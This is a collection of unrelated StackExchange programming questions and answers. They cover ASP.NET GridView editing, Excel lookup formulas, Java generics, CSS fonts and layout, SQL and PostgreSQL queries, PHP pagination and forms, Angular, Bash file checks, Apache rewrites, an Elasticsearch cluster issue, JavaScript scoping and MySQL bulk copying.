text:
Q: Enable editing option is not display in gridview I took Datasource and configure Connection String. From Advance option I have selected "generate Insert, Update, Delete Statements" but after configuration of datasource with gridview display only
- "Enable Deleteing"
- "Enable Shorting"
- "Enable paging"
- "Enable Selection"
but not showing me Enable Editing option to gridview.
what should I do?

A: The Enable Editing check box appears in the smart tag panel only if the data source control to which GridView control is bound supports editing. For example, if the GridView control is bound to a SqlDataSource control, the SqlDataSource control's UpdateQuery property must contain a SQL Update statement.
To enable default editing using the AutoGenerateEditButton property
Select the GridView control, and in the Properties window, set AutoGenerateEditButton to true.
or
In Source view, in the  element, set AutoGenerateEditButton to true, as in the following example:
<asp:GridView Runat="server" ID="GridView1"
  AutoGenerateEditButton="true" />

A: You can just write the UpdateCommand and DeleteCommand in the "SqlDataSource" tag.
This is an example that you can base on:
<asp:SqlDataSource ID="SqlDataSource1" runat="server"
  ConnectionString="<%$ ConnectionStrings:TechFocusConnectionString %>"
  SelectCommand="SELECT * FROM [Comments]"
  DeleteCommand="DELETE FROM [Comments] WHERE CodeCommentaire =@CodeCommentaire "
  UpdateCommand="UPDATE [Comments] set Membre=@Membre, Article=@Article, Commentaire=@Commentaire, spam=@spam where CodeCommentaire =@CodeCommentaire">
</asp:SqlDataSource>

You can see there is the UpdateCommand and DeleteCommand where you can write down your own deleting or editing query and automatically the Deleting and Editing Options will be available. just don't forget to set the where clause with the primary key of your table, or else once you edit for example, all the rows will be edited.


text:
Q: Excel COUNTIF range search returning #N/A I'm using Excel to search multiple days (my ranges) in a timesheet for hours worked (my HLOOKUP reads the value below the dept number) by multiple members of staff for different departments.
I've come up with the following formula which works for the majority of my sheet, except if the lookup cell (AB9) value isn't found in the first range ($B$9:$E$10). For others it works (if the value isn't found in the later ranges it doesn't return a #N/A), only if the value isn't found in the first range.
=SUM(IF(COUNTIF($B$9:$E$10,AB9),HLOOKUP(AB9,$B$9:$E$10,2,FALSE),""))+(IF(COUNTIF($F$9:$I$10,AB9),HLOOKUP(AB9,$F$9:$I$10,2,FALSE),""))+(IF(COUNTIF($J$9:$M$10,AB9),HLOOKUP(AB9,$J$9:$M$10,2,FALSE),""))+(IF(COUNTIF($N$9:$Q$10,AB9),HLOOKUP(AB9,$N$9:$Q$10,2,FALSE),""))+(IF(COUNTIF($R$9:$U$10,AB9),HLOOKUP(AB9,$R$9:$U$10,2,FALSE),""))+(IF(COUNTIF($V$9:$Y$10,AB9),HLOOKUP(AB9,$V$9:$Y$10,2,FALSE),""))

Can someone explain to me why this is failing and if I shouldn't be using COUNTIF for this, what else I should be using and why.
Ideally I would have my formula looking for unique numbers (departments) in the ranges, reporting them and then below listing the hours worked for each - but that is a little above my expertise (currently)! ;)

A: Excel formulas handle the special error values of #N/A and #DIV/0 differently than other (real) values. Depending on the formulas you use, they get returned as the result no matter where they show up. So, your HLOOKUP is returning #N/A when it can't find the value, and even though you are trying to skip evaluating the HLOOKUP in the IF statement and return just "", Excel is still evaluating it and returning #N/A as soon as it's evaluated.
Also, because you're working with values and not text, your return value should be 0 and not "".
Instead of the outer IF statement in each SUM, you should use IFNA as follows:
IFNA(HLOOKUP(AB9,$B$9:$E$10,2,FALSE),0)

The IFNA formula returns the value in the first parameter if it actually works and produces a value, and returns a "" if it doesn't work.
The provided link has a sample worksheet to show how it works with a VLOOKUP, so you can test the formula out. Based on the sample there, this is the exact case that you would want to use IFNA.
So, if I'm reading what you are attempting to do correctly, the entire formula should be:
=SUM(IFNA(HLOOKUP(AB9,$B$9:$E$10,2,FALSE),0),IFNA(HLOOKUP(AB9,$F$9:$I$10,2,FALSE),""),IFNA(HLOOKUP(AB9,$J$9:$M$10,2,FALSE),""),IFNA(HLOOKUP(AB9,$N$9:$Q$10,2,FALSE),""),IFNA(HLOOKUP(AB9,$R$9:$U$10,2,FALSE),""),IFNA(HLOOKUP(AB9,$V$9:$Y$10,

A: A colleague and I have come up with a better solution than nesting all the IF's together.
We came up with =SUMIF($B7:$AI7,AB9,$B8:$AI8) which works much better as no need for the multiple nested IF's.
I've expanded it further allowing for a default department and to include S (Sick) and H (Holiday) time which adds to the total hours for the default department.
=SUMIF($B7:$AI7,AL7,$B8:$AI8)+IF($AJ7=AL7,SUMIF($B7:$AI7,"S",$B8:$AI8)+SUMIF($B7:$AI7,"H",$B7:$AI7),0)

I'm going further as will include hourly rates and overtime next. Wish me luck!

redpajama_set_name: RedPajamaStackExchange


text:
Q: Method Overloading and Arguments with Generics in Java I have following two methods:
public static double calculateMeanInt(List<Integer> numbers) {
    double sum = 0.0;
    for(Integer number : numbers)
        sum += number;
    return sum/numbers.size();
}

public static double calculateMeanDouble(List<Double> numbers) {
    double sum = 0.0;
    for(Double number : numbers)
        sum += number;
    return sum/numbers.size();
}

Do you have an elegant solution (other than using type casting and Object) that will avoid the duplicate code above and will use a single method name?

A: Each numeric type in Java extends from Number, so you can use the bounded type parameter (thanks Paul) to average all your number types in one method:
  public static <N extends Number> double calculateMean(List<N> numbers) {
    double sum = 0.0;
    for (N number : numbers)
      sum += number.doubleValue();
    return sum / numbers.size();
  }

e.G. like that:
double intMean = calculateMean(Lists.newArrayList(1,2,3,4,5));
double doubleMean = calculateMean(Lists.newArrayList(1d,2d,3d,4d,5d));
double longMean = calculateMean(Lists.newArrayList(1l,2l,3l,4l,5l));

Note that Lists is part of Guava.


text:
Q: How to merge fonts? I have a number of fonts,

*

*OpenSans-bold.ttf

*OpenSans-boldItalic.ttf

*OpenSans-extrabold.ttf

*OpenSans-italic.ttf

*OpenSans-light.ttf

How would I go on about to just create one file, as oppose to this many different files?
And perhaps use them on CSS like I would normally, or like you would on photoshop?
e.g.
small{font-family:"OpenSans"; font-weight: normal;}
strong{font-family:"OpenSans"; font-weight: bold;}
h2 {font-family:"OpenSans"; font-weight: bolder;}

Any help would be appriciated.

A: An easy way to combine multiple fonts in one file is to encode them in base64 and embed them in CSS. They will still be different fonts though and the total size will increase. There are various online tools that can create the css for font files you upload, like this one.

A: You need the different font files if you wish to use different typefaces (regular, italic, bold, etc.), because each typeface is implemented as a separate font file (actually, you even need it in different font formats, to cover different browsers).
But you can use them as a single font family, much like you use, say, just Arial and apply italics and bolding to it, using CSS directly or indirectly (via HTML, e.g. h2 elements are bold by default). For this, you need to declare a font family.
E.g., FontSquirrel generates CSS code that defines each typeface as a font family. This is possible, but illogical and inconvenient. For example, it generates
@font-face {
    font-family: 'open_sansbold';
    src: url('opensans-bold-webfont.eot');
    src: url('opensans-bold-webfont.eot?#iefix') format('embedded-opentype'),
         url('opensans-bold-webfont.woff') format('woff'),
         url('opensans-bold-webfont.ttf') format('truetype'),
         url('opensans-bold-webfont.svg#open_sansbold') format('svg');
    font-weight: normal;
    font-style: normal;
}

To make things more logical, change the font-weight value, and change the font-family name to one that you use in different @font-face rules (for the different typefaces of the family). E.g.,
@font-face {
    font-family: 'Open Sans';
    src: url('opensans-bold-webfont.eot');
    src: url('opensans-bold-webfont.eot?#iefix') format('embedded-opentype'),
         url('opensans-bold-webfont.woff') format('woff'),
         url('opensans-bold-webfont.ttf') format('truetype'),
         url('opensans-bold-webfont.svg#open_sansbold') format('svg');
    font-weight: bold;
    font-style: normal;
}


text:
Q: What does this SQL statement mean in plain english... select * from users where user_name like '%' || :user_name || '%' and state_name = 'CA' I have some SQL code,
select * from users where user_name like '%' || :user_name || '%' and state_name = 'CA'
and a comment that says,
//find all users who has a name that begins with the same letter as a user who lives in California.
Is this a valid SQL select statement to find all users who have a name beginnning with the same letter as a different user who lives in california?
I have already looked up the || and : operators, but they seemed to hint that using || is not the proper way to do this type of lookup.

A: select * from users where user_name like '%' || :user_name || '%' and state_name = 'CA' is not the proper syntax as it would match only users whose names are part of a different user's name
In order to select from a table twice, a join statement must be made.
Also, SUBSTRING must be used to target just the first letter
select SUBSTRING(users.user_name,1,1) as NAMESTR,users.state,users.user_name,users2.user_name,users2.state from users  INNER join users as users2 on users.state = 'CA' and users2.user_name like NAMESTR || '%'
The query in the OP was missing a lot of parts.


text:
Q: How do I call a procedure in TimescaleDB? I have a stored procedure that starts like this:
CREATE OR REPLACE PROCEDURE my_procedure(job_id int, config jsonb)
LANGUAGE plpgsql
AS
...

I don't really use the two parameters job_id int, config jsonb, I just have them because for you have to have parameters.
But how do I call the procedure, I've tried CALL my_procedure() but obviously it says that it needs the parameters. How do I call the method without using the parameters. Can I just write anything as long as I don't refer to the parameters within the procedure or how does it work?

A: From PostgreSQL 11.x you can create stored procedures without parameters, like
CREATE TABLE foo(a varchar(64));

CREATE PROCEDURE teeeest()
AS $$
  INSERT INTO foo(a) VALUES('THIS WORKS')
$$ LANGUAGE sql;

CALL teeeest();

SELECT * FROM foo;

This is a Fiddle you can test this at: https://www.db-fiddle.com/f/4jyoMCicNSZpjMt4jFYoz5/5244
Basically nothing stops you from avoiding the specification of parameters in PostgreSQL.
So, your statement of

I just have them because for you have to have parameters.

does not seem to be technically true, but it is possible that some other rules that I am unaware of and that might be specific to your environment or team prevents you from defining parameterless procedures, then job_id and config become meaningless in your example and you can pass any values to them, because they will be ignored anyway.

But how do I call the procedure, I've tried CALL my_procedure() but obviously it says that it needs the parameters.

Since you defined your procedure with parameters, you need to pass values for them. A rule of thumb is that whenever you define a procedure, you will need to use it accordingly. If the definition is improper, then you can CREATE OR REPLACE the procedure accordingly.


text:
Q: php get the post data when using pagination script I have a page called mainPage.php that contain a pagination script which displays a list of pages.
 [1][2][3][4][5]

the pagination works fine but when I go to the next page the post data disappear.
for($i=1;$i<=$totalPage;$i++)
{
if($page==$i)
{
echo ' <input  type="button" value="'.$i.'"> ';
}
else
{
echo ' <input type="button" value="'.$i.'"> ';
}}

is there any way to get the post data to the next page number after clicking this link:

without the form.

A: No, it's not possible. When a form is submitted (with method=post) to the server, that's one POST request. If you want to make another POST request, you need to make another POST request. If you click a link, that's not a POST request.
I'm assuming your scenario is something like a search form, which is submitted via POST and which returns several pages of results. In this case, POST is misused anyway. An HTTP POST request should be used for altering data on the server, like registering a new user or deleting a record. Just a search form is not data alteration, it's just data retrieval. As such, your form should be method=get. That will result in a URL with the form values as query parameters:
mainPage.php?search=foobar

You can then trivially create pagination URLs from that:
printf('...', http_build_query(array('page' => $i) + $ _GET));

Which will result in:
mainPage.php?search=foobar&page=2

This way all your requests are self contained GET queries.

A: try   and get page no.  using $_GET['page'];

A: You can do your job  by using the GET method instead of post.If you want to make it in post request you need to do it seperate for each one.


text:
Q: Angular 7 ngFor Not Updating Bound Attributes I have 3 different arrays, each with a different length and each displayed visually using ngFor. They look something like this:
let list = [ {key:value},{key:value},{key:value},... ]

Through the course of my code I reorder and insert these arrays based on user input. I track the user input using the data-index property. Basically if you drag an element I grab the data-index attribute which tells me what element in the array I need to move and when you drop it I read the underlying elements data-index attribute to know where to insert it. The issue is after I make the modifications to the array the data-attribute never gets updated. This creates a problem for me because now my attribute no longer represents it's position in the array.
This is my template code:
  <div *ngFor="let item of list;let i = index;" [attr.data-index]="i">
    <div>....</div>
  </div>

This is my code to manipulate the list
this.list.splice(item.insertIndex, 0, item);

After this splice command I would expect the change to be pushed to ngFor and all my data-index attributes would be reset; meaning I always expect them to be 1,2,3,4,etc what I get is something like 1,4,2,17,3,1,4.
Is this expected behavior? If so is there a way to force a refresh or do I need to loop through each array and set the data-index attribute manually?

A: As stated here Why is not updated model in ngFor after changed model?,
just reasign your variable.
 this.list = [...this.list]

To force DOM refresh, refer to How to force a component's re-rendering in Angular 2?


text:
Q: Bash: How to check if first character of a file is { If the file is in the variable filename, what are some of the ways to do a simple check in Bash to determine if the first character of the contents of the file is an {?
It would be great if there is a way to do this without loading the whole file...
Ta!
#!/bin/bash
if #SOME_TEST "${filename}" then
  echo "yes, first char of file is {"
else
  echo "no"
fi

A: The shell-builtin command read can be used to read from a file; -n1 tells it to stop at one character (whereas otherwise, it will by default read the entire first line):
if read -n1 char <"$filename"; [[ $char = "{" ]]; then
  echo "$filename starts with {"
else
  echo "$filename does not start with {"
fi

A: With standard POSIX shell:
#!/usr/bin/env sh

IFS= read -r str _
if [ -n "$str" ] && [ -z "${str%%\{*}" ]; then
  echo "yes, first char of file is {"
else
  echo "no"
fi

*

*IFS= read -r str: Read first line of file into str without splitting on the IFS delimiter.

*[ -n "$str" ] && [ -z "${str%%\{*}" ]: True when str is not an empty string and the variable expansion "${str%%{*}" is an empty string.

*"${str%%{*}": Expand the str string by cutting everything * starting with a curly brace {, so that if str starts with { it will delete everything in it, resulting to an empty string.

Alternatively, a case statement, can be more readable as @CharlesDuffy pointed out:
#!/usr/bin/env sh

IFS= read -r str
case $str in
  '{'*) echo 'yes, the first char is {' ;;
  *) echo 'no' ;;
esac

A: Could you please try following, written and tested with shown samples in GNU awk.
awk '
{
  if(substr($0,1,1)=="{"){
     print "yes 1st line 1st char is {"
  }
  else{
     print "No, it does not start with {."
  }
  exit
}
' "$filename"

A: Alternate ask approach:
 awk -v RS=" " 'NR==1 '{ if (substr($0,1,1) == "{") { print "true" } else { print "false" } exit }' file

Set the record separator to spaces and then process only the first record/word. Check the first character using substr against "{" and print true if it exists. Exit straight after.

A: I would use AWK following way. Let file.txt be your file name then
awk '{print /^\{/?"yes":"no";exit}' file.txt

will print yes if { is first characters in your file, no otherwise after reading first line of file. Explanation: I use regular expression to check if line starts (^) with { (which needs to be escaped thus \) and print yes if it does, no otherwise. After processing first line I end processing using exit. Keep in mind it will print nothing if file.txt is empty.
(tested in gawk 4.2.1)


text:
Q: Form sends values using GET instead of POST myWhen the submit button is hit the page reloads showing the input values in the URL as if it was using GET. Nothing else happens. Not even the validation functions are run.
<?php echo form_open("auth/login"); ?>

    Client ID
    <input type="clientID" name="clientID" id="inputClientID" class="form-control" placeholder="Client ID" required autofocus>
    Login ID
    <input type="loginID" name="loginID" id="inputloginID" class="form-control" placeholder="Login ID" required>
    Password
    <input type="password" id="inputPassword" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">Login</button>

<?php echo form_close(); ?>

I am using PHP CodeIgniter. I have tried to build the form using plain HTML instead of CI form_open() method - still shows the same issue.
This is how the code is loaded in the browser, apparently it's fine:
<form action="https://mywebsite.com/auth/login" method="post" accept-charset="utf-8">

    Client ID
    <input type="clientID" name="clientID" id="inputClientID" class="form-control" placeholder="Client ID" required autofocus>
    Login ID
    <input type="loginID" name="loginID" id="inputloginID" class="form-control" placeholder="Login ID" required>
    Password
    <input type="password" id="inputPassword" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">Login</button>

</form>

Then, this is how the url looks like after the submit button is hit and the page reloads:
https://mywebsite.com/?clientID=1&loginID=samplelogin

It started to happened after my partner added some formatting using BootStrap (maybe it's only coincidence).
Thanks in advance
EDIT:
<< "Auth/Login" >>
 public function login() {
    $this->form_validation->set_rules('clientID', 'Client ID', 'required|numeric');
    $this->form_validation->set_rules('loginID', 'Login ID', 'required');
    $this->form_validation->set_rules('password', 'Password', 'required');

    if ($this->form_validation->run() == FALSE) {
        $this->load->view('defaultheader', array('title' =>
            "MyWebsite | Login"));
        $this->load->view("loginpage");
    } else {
        echo "it works";
        $clientID = $this->input->post("clientID");
        $loginID = $this->input->post("loginID");
        $password = $this->input->post("password");

        $user_check = $this->auth_model->check_credentials($clientID, $loginID, $password);

        switch ($user_check) {
            case 1:
                $this->check_first_access($loginID,$clientID);
                break;
            case 0:
                $message = "Wrong Client ID / Login ID / Password combination.";
                $this->load->view('defaultheader');
                $this->load->view('loginpage', array('message' => $message));
                break;
            case -1:
                $message = "User deactivated";
                $this->load->view('defaultheader');
                $this->load->view('loginpage', array('message' => $message));
                break;
        }
    }
}

*

*It doesn't show any validation error

<< routes file >>
$route['default_controller'] = 'home';
$route['404_override'] = '';
$route['translate_uri_dashes'] = FALSE;

<< .htaccess file >>
RewriteEngine on
RewriteCond $1 !^(index\.php|assets|mywebsite|phpmyadmin|robots\.txt)
RewriteRule ^(.*)$ index.php/$1 [L]

A: Try the following code for form with get method
$data = array(
              'method' => 'get'
              );
echo form_open('auth/login', $data);

A: You need to add ending slash:
<?php echo form_open("auth/login/"); ?>

A: i don't know if this is it - but i would try changing the form fields to type='text'
so like this
<input type="clientID" name="clientID" id="inputClientID" class="form-control" placeholder="Client ID" required autofocus>

change to
<input type="text" name="clientID" id="inputClientID" class="form-control" placeholder="Client ID" required autofocus>


text:
Q: Removing index.php is not SEO friendly Writing htaccess that allows me to remove index.php from the URL can confuse search engines because i will have many links that leads to the same page e.g.
http://www.domain.com/index.php/welcome/index
http://www.domain.com/index.php/welcome/
http://www.domain.com/welcome/index
http://www.domain.com/welcome/
As you see, when it comes to SEO, this could be a problem. What can i do to solve this problem?
My .htaccess include the following commands:
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /ci_sample/index.php/$1 [L]

A: *

*You should set 301 redirect from all that URLs to one, chosen by you as a main one.

*You can add rel=canonical tag on your main page and put the chosen URL there, to inform crawler about proper site address.

A: Unless you're linking to all possible combinations of each individual URI, then the search engines will be none the wiser to the variety of addresses pointing to the same resource. They're only going to crawl visible links on your site, so decide on a convention and go with it. If you never link to index.php/welcome/index on any page of your site, chances are it will never be indexed that way.

A: This will surely work...    I have used this code to remove index.php and its working well for me. There is no problem in the SEO by this code.
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)$ /index.php?/$1 [L]


text:
Q: Positioning with HTML and css

zisland

#pageHeading{
    color: #000000;
    width: auto;
    height: auto;
    text-align: center;
    background-color: #800080;
}

The image of the island appears to be centered below the text "zisland". My question is, how do i get the image of the island to be positioned to the right of the text "zisland" instead of being below?

A: Use float: right on the  tag, or float: left on
.

zisland

#pageHeading {
    color: #000000;
    width: auto;
    height: auto;
    background-color: #800080;
}

#pageHeading h1 {
    float: left;
}

#pageHeading img {
    width: 50px;
    height: 50px
}

A: You may want following this: here, given two options.

#pageHeading {

  color: #000000;

  width: auto;

  height: auto;

  text-align: center;

  background-color: #800080;

}

#pageHeading h1,

#pageHeading img {

  display: inline-flex;

  margin: 0;

}

#pageHeading1 {
  background-color: #800080;
  color: #000000;
  overflow: hidden;
  text-align: center;
  width: auto;
}
#pageHeading1 h1 {
  display: inline-flex;
  margin: 0;
}
#pageHeading1 img {
  float: right;
  height: 50px;
  width: 50px;
}

zisland

zisland

A: Use display:inline-block; prop for img and h1 tag
JSFiddle
CSS Code
#pageHeading, h1, img
{
    display:inline-block;
}


text:
Q: Elasticsearch /_cluster/health nodes reports higher number than /_nodes I have a small cluster of three machines. When we initially deployed the solution, we realized we did not have enough storage available for our anticipated need. So we brought down the ES service on the first node, attached and configured an EBS volume for the machine, moved the data to the new volume, updated the configuration file to point to the new data dir and brought the service back up. All was well. The cluster went green pretty quickly. Same for the next two machines. Then we realized that we had not updated the configuration file on the second node. So we stopped the service, updated the configuration file and started the service. Our cluster health has remained yellow since then. Interestingly, I'm seeing a discrepancy between the number of nodes reported in the /_cluster/health endpoint and the /_nodes endpoint. Also of interest is the fact that since we are in AWS, we are using unicast discovery and are explicitly pointing to the other nodes. I see that it's trying to initialize shards, but do not know where/how/why it's trying to do that. Any thoughts?
/_cluster/health
{
  "cluster_name" : "the_name_of_my_cluster",
  "status" : "yellow",
  "timed_out" : false,
  "number_of_nodes" : 5,
  "number_of_data_nodes" : 5,
  "active_primary_shards" : 20,
  "active_shards" : 33,
  "relocating_shards" : 0,
  "initializing_shards" : 4,
  "unassigned_shards" : 3
}

/_nodes
{
  "ok" : true,
  "cluster_name" : "abc_cluster",
  "nodes" : {
    "identifier" : {
      "name" : "node3",
      "transport_address" : "inet[/ip3:9300]",
      "version" : "0.90.5",
      "http_address" : "inet[/ip3:9200]"
    },
    "identifier" : {
      "name" : "node2",
      "transport_address" : "inet[/ip2:9300]",
      "version" : "0.90.5",
      "http_address" : "inet[/ip2:9200]"
    },
    "identifier" : {
      "name" : "node1",
      "transport_address" : "inet[/ip1:9300]",
      "version" : "0.90.5",
      "http_address" : "inet[/ip1:9200]"
    }
  }
}

Edit
I started tailing the ES logs on the second node. It turns out it was trying to reach our third node on 9301 and 9302
[2014-04-24 20:08:37,005][WARN ][cluster.service          ] [node2] failed to reconnect to node [node3][identifying_info][inet[/ip3:9302]]
org.elasticsearch.transport.ConnectTransportException: [node3][inet[/ip3:9302]] connect_timeout[30s]
    at org.elasticsearch.transport.netty.NettyTransport.connectToChannels(NettyTransport.java:675)
    at org.elasticsearch.transport.netty.NettyTransport.connectToNode(NettyTransport.java:608)
    at org.elasticsearch.transport.netty.NettyTransport.connectToNode(NettyTransport.java:576)
    at org.elasticsearch.transport.TransportService.connectToNode(TransportService.java:129)
    at org.elasticsearch.cluster.service.InternalClusterService$ReconnectToNodes.run(InternalClusterService.java:475)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
    at java.lang.Thread.run(Thread.java:724)
Caused by: org.elasticsearch.common.netty.channel.ConnectTimeoutException: connection timed out: /ip3:9302
    at org.elasticsearch.common.netty.channel.socket.nio.NioClientBoss.processConnectTimeout(NioClientBoss.java:137)
    at org.elasticsearch.common.netty.channel.socket.nio.NioClientBoss.process(NioClientBoss.java:83)
    at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:312)
    at org.elasticsearch.common.netty.channel.socket.nio.NioClientBoss.run(NioClientBoss.java:42)
    at org.elasticsearch.common.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108)
    at org.elasticsearch.common.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42)
    ... 3 more
[2014-04-24 20:09:17,042][WARN ][cluster.service          ] [node2] failed to reconnect to node [node3][identifying_info][inet[/ip3:9301]]
org.elasticsearch.transport.ConnectTransportException: [node3][inet[/ip3:9301]] connect_timeout[30s]
    at org.elasticsearch.transport.netty.NettyTransport.connectToChannels(NettyTransport.java:675)
    at org.elasticsearch.transport.netty.NettyTransport.connectToNode(NettyTransport.java:608)
    at org.elasticsearch.transport.netty.NettyTransport.connectToNode(NettyTransport.java:576)
    at org.elasticsearch.transport.TransportService.connectToNode(TransportService.java:129)
    at org.elasticsearch.cluster.service.InternalClusterService$ReconnectToNodes.run(InternalClusterService.java:475)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
    at java.lang.Thread.run(Thread.java:724)
Caused by: org.elasticsearch.common.netty.channel.ConnectTimeoutException: connection timed out: /ip3:9301
    at org.elasticsearch.common.netty.channel.socket.nio.NioClientBoss.processConnectTimeout(NioClientBoss.java:137)
    at org.elasticsearch.common.netty.channel.socket.nio.NioClientBoss.process(NioClientBoss.java:83)
    at org.elasticsearch.common.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:312)
    at org.elasticsearch.common.netty.channel.socket.nio.NioClientBoss.run(NioClientBoss.java:42)
    at org.elasticsearch.common.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108)
    at org.elasticsearch.common.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42)
    ... 3 more

So we opened a range from 9300-9303 for the ES security group.
Voila. We have a green cluster.
/_cluster/health
{
  "cluster_name" : "the_name_of_my_cluster",
  "status" : "green",
  "timed_out" : false,
  "number_of_nodes" : 6,
  "number_of_data_nodes" : 6,
  "active_primary_shards" : 20,
  "active_shards" : 40,
  "relocating_shards" : 0,
  "initializing_shards" : 0,
  "unassigned_shards" : 0
}

HOWEVER - we are showing 6 nodes now instead of the 3 that I expect. What gives?


text:
Q: Undefined variable in modularized script I've been working at making this script more modularized toady, and I am running into an error. Am I ordering my logic incorrectly?
Error Msg

Uncaught ReferenceError: accountId is not defined

Related Script Line
            _.each(_.omit(accounts, _.keys(result.data.accounts)), function (account) {
                accounts[accountId].push([result.timestamp.valueOf(), 0]);
            });

Script
var debug = 0;

function paramsStr(p) {
    var first = true;
    var s = '';
    _.each(p,function (value,key) {
        if (!value) {
            return;
        }
        if (first) {
            s += '?';
            first = false;
        } else {
            s += '&';
        }
        s += key+'='+value;
    });
    return s;
};

function parseReport(data)
{
    var split = data.split('\n');
    var results = [];
    _.each(split,function (row) {
        if (!row || row == "") {
            return;
        }
        var myRow = JSON.parse(row);
        myRow.timestamp = moment.utc(myRow.timestamp);
        results.push(myRow);
    });

    return results;
}

function loadReport(report,granularity,startTime,endTime) {
    if (debug && _.has(mock.reports,report) && _.has(mock.reports[report],granularity)) {
        return jQuery.Deferred().resolve(parseReport(mock.reports[report][granularity])).promise();
    }

    var params = {
        granularity : granularity
    };

    if (startTime) {
        params['start-time'] = startTime.toISOString();
    }

    if (endTime) {
        params['end-time'] = endTime.toISOString();
    }

    var url = '//analytics.locuslabs.com/api/reports/'+report+paramsStr(params);

    return $.ajax({
        url : url,
        dataType : 'text'
    }).then(function (data) {
        return parseReport(data);
    });
};

$(document).ready(function () {
    var placeholder = $(".graph");
    var oneMonth = moment().utc().subtract(1, 'months');
    var twoWeeks = moment().utc().subtract(2, 'weeks');

    //Function call to get the current time
    function dateNow(target,timeFormat){
        $(placeholder).siblings(target).text(moment(Date.now()).format(timeFormat));
    }

    function pollData(apiRoot,increment,startDate,label){
        loadReport(apiRoot,increment, startDate).then(function (results) {
            var totals = [];
            var accounts = {};
            _.each(results, function (result) {
                totals.push([
                    result.timestamp.valueOf(),
                    result.data.total
                ]);

                _.each(result.data.accounts, function (account, accountId) {
                    if (!_.has(accounts, accountId)) {
                        accounts[accountId] = {
                            label: account.account.name,
                            data: []
                        };
                    }
                    accounts[accountId].data.push([
                        result.timestamp.valueOf(),
                        account.total
                    ]);
                });

                _.each(_.omit(accounts, _.keys(result.data.accounts)), function (account) {
                    accounts[accountId].push([result.timestamp.valueOf(), 0]);
                });
            });
            var data = [{
                data: totals,
                label: label
            }];
            _.each(accounts, function (account) {
                data.push(account);
            });
            $(this > ".graph").plot(data, {
                grid: {
                    hoverable: true
                },
                tooltip: {
                    show: true
                },
                xaxis: {
                    mode: "time"
                },
                yaxis: {
                    axisLabel: label
                },
                legend: {
                    container: $(this > ".legend")
                },
                selection: {
                    mode: "x"
                }
            });
        });
        // Reload function within pollData function
        document.getElementById(apiRoot + "-reload").addEventListener("click", function() {
            pollData(apiRoot,increment,startDate,label);
            dateNow(".status","M/D/YYYY H:mm Z");
        }, false);
    }

    //Load Reports
    pollData('total-installs', 'day', oneMonth, "Total Installs");
    pollData('installs', 'hour', twoWeeks, "Installs (by hour)");
    pollData('sessions', 'day', twoWeeks, "Sessions");
    pollData('sessions-length', 'day', twoWeeks, "Session Length");

    // Selection Feature
    // TODO: Add Zoom to selection
    // TODO: Overview of Available Data when zoomed.

    placeholder.bind("plotselected", function (event, ranges) {

        var begin = ranges.xaxis.from.valueOf();
        var end = ranges.xaxis.to.valueOf();

        $(this).siblings(".selection").text(moment(begin).format("M/D/YYYY H:mm Z") + " to " + moment(end).format("M/D/YYYY H:mm Z"));

        /*
        var zoom = $("#zoom").prop("checked");

        if (zoom) {
            $.each(plot.getXAxes(), function(_, axis) {
                var opts = axis.options;
                opts.min = ranges.xaxis.from;
                opts.max = ranges.xaxis.to;
            });
            plot.setupGrid();
            plot.draw();
            plot.clearSelection();
        }
        */
    });

    // Update on Initial Poll
    // TODO: Ask for location and provide local time.
    dateNow(".status","M/D/YYYY H:mm Z");
});

A: You have no accountId parameter in your function
function (account) {
    accounts[accountId].push([result.timestamp.valueOf(), 0]);


text:
Q: Improve performance when copying records from table to another one Hi buddies :) I was required to create a php code to handle some workers' data stored in DB. I got the desired result but it takes seconds and seconds (seconds and seconds! >.<) to finish, so I'm afraid I'm not doing something in a right way :(
The workers' data is stored in a mysql table (table1), something like this:

I'm given a pair of dates: initial_date (a) and final_date (b), so my goal is to copy the given workers' data in a new table (table2), day by day from a to b. The expected table should be as shown below (this table will be used later as a basis for further operations, which is not part of the question)

It's a requirement to overwrite any existing data between a and b dates, and 'jump' weekends and holidays.
To get my goal, I'm coding this (let's assume that the connection and all that is done and the checkworkingday function is given):
$initialdate = '2016-10-10';
$finaldate = '2016-10-12';

$x = $initialdate;

do {
    if (checkworkingday($x) == true) {
    $query = mysqli_query($connection,"SELECT name,task FROM table1");
    while($row = mysqli_fetch_array($query)) {
        $task = $row['task'];
        $worker = $row['name'];
        $query2 = mysqli_query($connection,"SELECT task FROM table2 WHERE name = '$worker' AND date = '$x'");
        $row2 = mysqli_fetch_array($query2);
        $existingtask = $row2['task'];
        if (!isset($existingtask)) {
            mysqli_query($connection,"INSERT INTO table2 (date,name,task) VALUES('".$x."','".$worker."','".$task."')");
        } else {
            mysqli_query($connection,"UPDATE table2 SET task = '".$task."' WHERE date = '".$x."' AND worker = '".$name."'");
        }
    }
    }
    $x = date('Y-m-d', strtotime($x . "+1 day"));
} while ($x <= $finaldate);

Just for 3 days as shown in the example, it takes a long to end; and for several weeks or months it takes very, very long (even max execution time is exceeded depending on dates range!).
I'm a newbie and I know the code is quite 'rustic', but I've revised and checked the code and info out there without getting a better performance. What am I doing wrong? Thanks :)

A: Instead of looping through the enitre data, try INSERT.. SELECT :
INSERT INTO table2 (date,name,task)
SELECT date,name,task
FROM Table1
WHERE < >;


text:
Q: SVG animation leaves banding artifacts in Chrome Version 23.0.1271.95 While testing an SVG animation I've run into a rendering problem in Chrome Version 23.0.1271.95.
The animated triangles seem to leave some black vertical banding.
This goes away if you tab away from the page and back or if you otherwise force a redraw.
You can find the animation test here:
http://bit.ly/HexaGridTest
